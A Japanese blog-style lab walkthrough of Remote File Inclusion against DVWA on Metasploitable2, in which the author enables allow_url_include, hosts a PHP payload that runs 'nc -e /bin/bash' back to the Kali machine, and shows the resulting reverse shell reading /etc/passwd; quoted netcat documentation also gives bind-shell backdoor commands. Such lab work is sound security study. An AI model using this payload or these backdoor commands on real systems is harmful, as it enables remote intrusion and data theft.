RFI(Remote File Inclusion)

前提として、Kali Linux (192.168.56.108) Metasploitable2 Linux (192.168.56.105) を立ち上げている。

File Inclusion : プログラムの中で他のファイルをインクルードしている場合、攻撃者が意図的にそのファイル名を修正して不正にファイルを処理させる攻撃。
Remote File Inclusion : ファイルパスとしてURL文字列を指定することによって、外部サーバー上の文字列を読み込んでしまう脆弱性

Metasploitable2 の DVWA にログインする

Security Level : low を確認
左欄から File Inclusion を選択し、Vulnerability: File Inclusion ページに移動する。

f:id:hirose-test:20190916052820j:plain

Kali Linux 上でウェブサーバーを起動する

root@kali:~# /etc/init.d/apache2 status
● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
   Active: inactive (dead)
     Docs: https://httpd.apache.org/docs/2.4/
root@kali:~# /etc/init.d/apache2 start
Starting apache2 (via systemctl): apache2.service.
root@kali:~# /etc/init.d/apache2 status
 apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
   Active: active (running) since Mon 2019-09-16 05:23:16 JST; 5s ago
~(後略)~
root@kali:~# 

起動確認

f:id:hirose-test:20190916052607j:plain

DVWA に戻り、Apache のデフォルトページが表示できるか試す。
「URLへのアクセスは、サーバーの設定により無効になっている」と出ている。
つまり Metasploitable2 には Remote File Inclusion の脆弱性は実装されていない。

f:id:hirose-test:20190916053136j:plain

そこで、Metasploitable2 強引に Remote File Inclusion の脆弱性を実装する。

Metasploitable2 に ssh で接続して、php の設定ファイルを編集する。

root@kali:~# ssh msfadmin@192.168.56.105
The authenticity of host '192.168.56.105 (192.168.56.105)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.105' (RSA) to the list of known hosts.
msfadmin@192.168.56.105's password: 
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sun Sep 15 09:41:43 2019
msfadmin@metasploitable:~$ 

管理者権限の取得

msfadmin@metasploitable:~$ sudo su -
[sudo] password for msfadmin:  (← msfadmin のパスワード。つまり msfadmin)
root@metasploitable:~# 

PHP 設定ファイルの場所へ移動

root@metasploitable:~# cd /etc/php5/cgi/
root@metasploitable:/etc/php5/cgi# ls
conf.d  php.ini

設定の確認。allow_url_include = Off になっている

root@metasploitable:/etc/php5/cgi# grep allow_url php.ini 
allow_url_fopen = On
allow_url_include = Off

変更前にコピーを取っておく

root@metasploitable:/etc/php5/cgi# cp -p php.ini php.ini.org
root@metasploitable:/etc/php5/cgi# ls
conf.d  php.ini  php.ini.org

編集する。(vi の検索は / キーに続けて検索したい文字列を入力)

root@metasploitable:/etc/php5/cgi# vim php.ini
 ~(前略)~
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = Off → On に変更
 ~(後略)~

保存して閉じる

確認

root@metasploitable:/etc/php5/cgi# grep allow_url php.ini   
allow_url_fopen = On
allow_url_include = On

再度 DVWA に戻り、Metasploitable2 の Apache2 のデフォルトページが表示されるか試す

f:id:hirose-test:20190916054916j:plain

表示された。

netcat を使用し、Kali から Metasploitable2 に侵入してみる

Kali 端末を Metasploitable2 から抜け、Kali の WEBルートディレクトリへ移動する

root@metasploitable:/etc/php5/cgi# exit
logout
msfadmin@metasploitable:~$ exit
logout
Connection to 192.168.56.105 closed.
root@kali:~# cd /var/www/html/;ls
index.html  index.nginx-debian.html
root@kali:/var/www/html#

shell.html というファイル名で新規ファイルを作成し、netcat で使用する PHPプログラムを作成する

root@kali:/var/www/html# vim shell.html

<?php shell_exec('nc -e /bin/bash 192.168.56.108 31337'); ?>

(後ほど待機させる)ホストのポートに接続する -e : 接続の受け入れ後に実行するプログラム hostname port

Netcat
NetcatはHobbit氏によって開発された、汎用TCP/UDP接続コマンドラインツールである。接続先IPアドレス(もしくはホスト名)とポート番号を指定することにより、その接続先の該当するポートで待ち受けているサーバソフトウェアと通信することができる。またリッスンモードでは、指定したポート番号で通信を待ち受け、接続してきたクライアントソフトウェアと会話することも可能だ。
ローカルコンピュータ上でのNetcatに対する入力およびNetcatからの出力は、通常は標準入出力(つまりキーボードと端末表示)に割り当てられているのだが、「-e」オプションを指定することで入出力先を他のプログラムにリダイレクトすることができる。

Netcat - Wikipedia
netcatは、UNIX系OSで動作するコマンドラインアプリケーションである。TCPUDPを扱う万能ツールとして知られ、しばしばネットワークのスイスアーミーナイフ、TCP/IPのアーミーナイフ、ハッカーのアーミーナイフなどのように評される。その万能性ゆえ、nmapの作者として知られるセキュリティ専門家のGordon Lyon が管理するInsecure.orgにおいて、ネットワークセキュリティツール部門の常に上位5位以内にランキングされているツールである。

「簡易telnetサーバー」
nc -l -p 10025 -e /bin/sh
他の端末からポート10025にアクセスすることで、入出力が/bin/shにリダイレクトされるようになる。すなわち、バックドアとして機能するようになる。もちろん認証機能は存在せず、実行権限はnetcatの実行権限と同一となる。Windows版では以下のように指定すれば同様にバックドアとして機能するようになる。
start nc -d -L -p 10025 -e cmd.exe
オプション -L は、セッション切断後も継続してlistenするためのオプションである。また、オプション -d はステルスモードとなり、コマンドプロンプト・ウィンドウなしで動作するようになる。このような使い方が可能なツールゆえ、netcatのWindows版は主要なウィルススキャナの半数以上によってウィルス(リモートAdminツール)として判定されるものとなっている。
netcat - マニュアルページセク ション 1: ユーザーコマンド
オプション
–l : リモートホストへの接続を開始せずに、着信する接続を待機します。
–p port : –l オプションを指定せずに使用する場合は、nc が使用する発信元ポートを特権の制限と使用条件に従って指定します。–l オプションと同時に使用する場合は、待機ポートを設定します。このオプションと –l オプションの組み合わせは、グローバルなポート引数が指定されていない場合にのみ使用できます。
–e program : 接続の受け入れまたは実行後に外部プログラムを実行します。実行前に、stdin,stdout,stderr がネットワーク記述子にリダイレクトされます。このオプションでは、1 つのポートのみを使用できます。
–v : 詳細出力を指定します。
オペランド
hostname
 ホスト名を指定します。
 hostname には、数値 IP アドレスまたは記号ホスト名 (–n オプションを指定していない場合のみ) を指定できます。
 一般に、hostname を指定する必要があるのは、–l オプションを指定しない場合か、–U を使用しない場合です (その場合、この引数はパスになります)。hostname 引数を –l オプションを同時に指定した場合、port 引数も指定する必要があり、nc はそのアドレスとポートにバインドしようとします。hostname 引数を –l オプションと同時に指定しなかった場合、nc は指定されたポートのワイルドカードソケットで待機しようとします。
path
 パス名を指定します。
port
port_list
 ポートを指定します。
 port_list には、1 つの整数、整数の範囲、あるいはその両方の組み合わせを指定できます。範囲は nn-mm の形式で指定します。port_list には 1 つ以上のメンバーを指定する必要があり、複数のポートまたは範囲をコンマで区切って指定できます。
 一般に、着信先ポートを指定する必要があるのは、–U オプションを指定しない場合です。そのオプションを指定した場合は、hostname の代わりに Unix ドメインソケットのパスを指定する必要があります。
 複数のポートが含まれているポート一覧を -e オプションと同時に使用すると、エラーになります。

Apache2 の再起動

root@kali:/var/www/html# /etc/init.d/apache2 restart
Restarting apache2 (via systemctl): apache2.service.

nc -l -v -p 31337これで、Kali がポート 31337 で待ち受け状態に入る。

root@kali:/var/www/html# nc -l -v -p 31337
listening on [any] 31337 ...

次に、Kali のウェブサーバー上で新しく作成した "shell.html" ページを表示させる。

(nc -e /bin/bash 192.168.56.108 31337 つまり、先ほど待ち受けスタートした Kali のポート31337 に接続するコマンドを実行する)

f:id:hirose-test:20190916065645j:plain

端末が Metasploitable2 に接続されるので、各種コマンドを確認する

root@kali:/var/www/html# nc -l -v -p 31337
listening on [any] 31337 ...
192.168.56.105: inverse host lookup failed: Unknown host
connect to [192.168.56.108] from (UNKNOWN) [192.168.56.105] 47327
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
 ~(後略)~
/* -----codeの行番号----- */